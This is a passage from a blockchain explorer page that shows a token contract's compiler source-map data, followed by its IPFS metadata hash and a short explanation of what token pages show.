-1;;;12524:521:0:o;896:246::-;954:7;978:1;983;978:6;974:47;;-1:-1:-1;1008:1:0;1001:8;;974:47;1031:9;1043:5;1047:1;1043;:5;:::i;:::-;1031:17;-1:-1:-1;1076:1:0;1067:5;1071:1;1031:17;1067:5;:::i;:::-;:10;1059:56;;;;-1:-1:-1;;;1059:56:0;;11744:2:1;1059:56:0;;;11726:21:1;11783:2;11763:18;;;11756:30;11822:34;11802:18;;;11795:62;-1:-1:-1;;;11873:18:1;;;11866:31;11914:19;;1059:56:0;11542:397:1;1059:56:0;1133:1;896:246;-1:-1:-1;;;896:246:0:o;1150:132::-;1208:7;1235:39;1239:1;1242;1235:39;;;;;;;;;;;;;;;;;:3;:39::i;367:179::-;425:7;;457:5;461:1;457;:5;:::i;:::-;445:17;;486:1;481;:6;;473:46;;;;-1:-1:-1;;;473:46:0;;12146:2:1;473:46:0;;;12128:21:1;12185:2;12165:18;;;12158:30;12224:29;12204:18;;;12197:57;12271:18;;473:46:0;11944:351:1;10808:98:0;10865:7;10892:1;10890;:3;10889:9;;10897:1;10889:9;;;-1:-1:-1;10895:1:0;10808:98;-1:-1:-1;10808:98:0:o;554:136::-;612:7;639:43;643:1;646;639:43;;;;;;;;;;;;;;;;;:3;:43::i;10914:472::-;11005:16;;;11019:1;11005:16;;;;;;;;10981:21;;11005:16;;;;;;;;;;-1:-1:-1;11005:16:0;10981:40;;11050:4;11032;11037:1;11032:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11032:23:0;;;:7;;;;;;;;;;:23;;;;11076:15;;:22;;;-1:-1:-1;;;11076:22:0;;;;:15;;;;;:20;;:22;;;;;11032:7;;11076:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11066:4;11071:1;11066:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11066:32:0;;;:7;;;;;;;;;:32;11141:15;;11109:62;;11126:4;;11141:15;11159:11;11109:8;:62::i;:::-;11182:15;;:196;;-1:-1:-1;;;11182:196:0;;-1:-1:-1;;;;;11182:15:0;;;;:66;;:196;;11263:11;;11182:15;;11305:4;;11332;;11352:15;;11182:196;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10970:416;10914:472;:::o;12050:466::-;12178:15;;12163:4;12121:21;6919:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;12178:15:0;;;6919:27;;;;;;;12209:22;;;12206:112;;;12276:15;;12244:62;;12261:4;;-1:-1:-1;;;;;12276:15:0;-1:-1:-1;;12244:8:0;:62::i;:::-;12328:15;;12467:10;;12328:180;;-1:-1:-1;;;12328:180:0;;-1:-1:-1;;;;;12328:15:0;;;;:31;;12367:3;;12328:180;;12394:4;;12414:6;;12328:15;;;;12467:10;;12492:15;;12328:180;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;1290:189::-;1376:7;1411:12;1404:5;1396:28;;;;-1:-1:-1;;;1396:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1435:9:0;1447:5;1451:1;1447;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5301:251::-;5371:6;5424:2;5412:9;5403:7;5399:23;5395:32;5392:52;;;5440:1;5437;5430:12;5392:52;5472:9;5466:16;5491:31;5516:5;5491:31;:::i;5866:607::-;-1:-1:-1;;;;;6225:15:1;;;6207:34;;6272:2;6257:18;;6250:34;;;;6315:2;6300:18;;6293:34;;;;6358:2;6343:18;;6336:34;;;;6407:15;;;6401:3;6386:19;;6379:44;6187:3;6439:19;;6432:35;;;;6156:3;6141:19;;5866:607::o;6478:306::-;6566:6;6574;6582;6635:2;6623:9;6614:7;6610:23;6606:32;6603:52;;;6651:1;6648;6641:12;6603:52;6680:9;6674:16;6664:26;;6730:2;6719:9;6715:18;6709:25;6699:35;;6774:2;6763:9;6759:18;6753:25;6743:35;;6478:306;;;;;:::o;7068:277::-;7135:6;7188:2;7176:9;7167:7;7163:23;7159:32;7156:52;;;7204:1;7201;7194:12;7156:52;7236:9;7230:16;7289:5;7282:13;7275:21;7268:5;7265:32;7255:60;;7311:1;7308;7301:12;10562:125;10627:9;;;10648:10;;;10645:36;;;10661:18;;:::i;11047:135::-;11086:3;11107:17;;;11104:43;;11127:18;;:::i;:::-;-1:-1:-1;11174:1:1;11163:13;;11047:135::o;11187:128::-;11254:9;;;11275:11;;;11272:37;;;11289:18;;:::i;11320:217::-;11360:1;11386;11376:132;;11430:10;11425:3;11421:20;11418:1;11411:31;11465:4;11462:1;11455:15;11493:4;11490:1;11483:15;11376:132;-1:-1:-1;11522:9:1;;11320:217::o;12432:127::-;12493:10;12488:3;12484:20;12481:1;12474:31;12524:4;12521:1;12514:15;12548:4;12545:1;12538:15;12564:980;12826:4;12874:3;12863:9;12859:19;12905:6;12894:9;12887:25;12931:2;12969:6;12964:2;12953:9;12949:18;12942:34;13012:3;13007:2;12996:9;12992:18;12985:31;13036:6;13071;13065:13;13102:6;13094;13087:22;13140:3;13129:9;13125:19;13118:26;;13179:2;13171:6;13167:15;13153:29;;13200:1;13210:195;13224:6;13221:1;13218:13;13210:195;;;13289:13;;-1:-1:-1;;;;;13285:39:1;13273:52;;13380:15;;;;13345:12;;;;13321:1;13239:9;13210:195;;;-1:-1:-1;;;;;;;13461:32:1;;;;13456:2;13441:18;;13434:60;-1:-1:-1;;;13525:3:1;13510:19;13503:35;13422:3;12564:980;-1:-1:-1;;;12564:980:1:o

Swarm Source

ipfs://f9a39ffb2ca8a66e6092205bcec14075d428e1bf571ccc86ea55d8262d11efa4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.